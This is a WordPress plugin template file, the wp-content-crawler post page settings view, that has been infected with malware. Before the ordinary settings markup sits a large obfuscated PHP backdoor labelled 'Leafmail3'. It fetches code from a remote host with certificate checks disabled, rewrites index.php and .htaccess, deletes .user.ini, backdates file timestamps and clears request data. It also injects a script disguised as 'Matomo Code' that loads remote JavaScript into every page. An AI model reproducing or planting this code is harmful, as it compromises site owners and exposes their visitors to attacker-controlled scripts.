/
www
/
wwwroot
/
alo88.autos
/
wp-content
/
plugins
/
wp-content-crawler
/
app
/
views
/
site-settings
/
Upload File
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <div class="wcc-settings-title"> <h3>{{ _wpcc('Post Page Settings') }}</h3> <span>{{ _wpcc("A post page is a page that contains the data that can be used to create posts in your site. For example, an article page of a blog, a product page of an e-commerce site or a hotel's page in a booking site can be considered as post pages. Here, you can configure many settings to define what information should be saved from target post pages.") }}</span> </div> {{-- SECTION NAVIGATION --}} @include('partials.tab-section-navigation') <?php // URL selector for all inputs that require a $urlSelector parameter. $urlSelector = sprintf('#%s', \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_URL_POST); $testFindReplaceFirstLoadSelector = sprintf('#%s', \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_FIND_REPLACE_FIRST_LOAD) ?> <table class="wcc-settings"> {{-- TEST POST URL --}} @include('form-items.combined.input-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::TEST_URL_POST, 'title' => _wpcc('Test Post URL'), 'info' => _wpcc('A full post URL to be used to perform the tests for post page CSS selectors.'), 'type' => 'url', 'placeholder' => _wpcc('A post URL that will be used for tests...'), ]) {{-- POST TITLE SELECTOR --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_TITLE_SELECTORS, 'title' => _wpcc('Post Title Selectors'), 'info' => _wpcc('CSS selectors for post title. E.g. <span class="highlight selector">h1</span>. This gets text of the specified element. If you give more than one selector, the first match will be used.'), 'urlSelector' => $urlSelector, 'data' => [ 'targetCssSelectors' => ['h1'], 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::UNIQUE, ], 'inputClass' => 'css-selector', 'showDevTools' => true, 'defaultAttr' => 'text', 'optionsBox' => true, ]) {{-- POST EXCERPT SELECTOR --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_EXCERPT_SELECTORS, 'title' => _wpcc('Post Excerpt Selectors'), 'info' => _wpcc('CSS selectors for the post excerpt, if exists. E.g. <span class="highlight selector">p.excerpt</span>. This gets html of the specified element. If you give more than one selector, the first match will be used.'), 'urlSelector' => $urlSelector, 'inputClass' => 'css-selector', 'showDevTools' => true, 'defaultAttr' => 'html', 'optionsBox' => true, ]) {{-- POST CONTENT SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CONTENT_SELECTORS, 'title' => _wpcc('Post Content Selectors'), 'info' => _wpcc('CSS selectors for the post content. This gets HTML of specified element. E.g. <span class="highlight selector">.post-content > p</span>. If you give more than one selector, each match will be crawled and the results will be merged.'), 'urlSelector' => $urlSelector, 'data' => [ 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::CONTAINS, ], 'inputClass' => 'css-selector', 'showDevTools' => true, 'defaultAttr' => 'html', 'optionsBox' => true, ]) {{-- POST TAG SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_TAG_SELECTORS, 'title' => _wpcc('Post Tag Selectors'), 'info' => _wpcc('CSS selectors for post tags. By default, this gets "text" of the specified elements. You can also use any attribute of the elements. If you give more than one selector, the results will be combined to create post tags.'), 'urlSelector' => $urlSelector, 'data' => [ 'selectorFinderBehavior' => \WPCCrawler\Objects\Enums\SelectorFinderBehavior::SIMILAR, ], 'defaultAttr' => 'text', 'optionsBox' => true, ]) {{-- POST SLUG SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_SLUG_SELECTORS, 'title' => _wpcc('Post Slug (Permalink) Selectors'), 'info' => _wpcc('CSS selectors for post slug. The slug is the post name in the URL of the saved post. If the slug is not unique, a unique slug will be generated from the found slug. If a slug is not found, the slug will automatically be generated from the post title.') . ' ' . _wpcc_trans_multiple_selectors_first_match(), 'optionsBox' => true, 'urlSelector' => $urlSelector, ]) {{-- SECTION: CATEGORY --}} @include('partials.table-section-title', [ 'title' => _wpcc("Category"), 'key' => \WPCCrawler\Objects\Enums\SectionKey::SITE_SETTINGS_POST_CATEGORY, ]) {{-- CATEGORY NAME SELECTORS --}} @include('form-items.combined.multiple-selector-with-attribute', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CATEGORY_NAME_SELECTORS, 'title' => _wpcc('Category Name Selectors'), 'info' => _wpcc("CSS selectors for category names. Found names will be used to assign the post's categories. If a category with a found name does not exist, it will be created. This gets text of the found element by default."), 'optionsBox' => true, ]) {{-- ADD ALL FOUND CATEGORY NAMES --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CATEGORY_ADD_ALL_FOUND_CATEGORY_NAMES, 'title' => _wpcc('Add all found category names?'), 'info' => _wpcc("Check this if you want to add all categories found by category name selectors. Otherwise, when there are multiple selectors, only the results of the first match will be used."), ]) {{-- CATEGORY NAME SEPARATORS --}} @include('form-items.combined.multiple-text-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CATEGORY_NAME_SEPARATORS, 'title' => _wpcc('Category Name Separators'), 'info' => _wpcc("Set separators for category names. For example, if a category name selector finds 'shoes, women, casual', when you add ',' as separator, there will be three categories as 'shoes', 'women', and 'casual'. Otherwise, the category name will be 'shoes, women, casual'. If you add more than one separator, all will be applied."), 'placeholder' => _wpcc('Separator...') ]) {{-- HIERARCHICAL CATEGORIES --}} @include('form-items.combined.checkbox-with-label', [ 'name' => \WPCCrawler\Objects\Settings\Enums\SettingKey::POST_CATEGORY_ADD_HIERARCHICAL, 'title' => _wpcc('Add as subcategories?'), 'info' => _wpcc("When you check this, if there are more than one category name found by a single selector input, each category name that comes after a category name in the found category names will be considered as the previous category name's child category. This option applies to a single selector input. When there are multiple selector inputs, their results will <b>not</b> be combined to create a subcategory hierarchy. As an example, let's say a selector found three category names as 'shoes', 'women', and 'casual'. When you check this option, the post will be in 'shoes > women > casual' category. However, if these three categories are found by three different selectors, the post will have 'shoes', 'women', and 'casual' categories separately, not hierarchically. If you do not want to create a subcategory hierarchy, do not check this. When 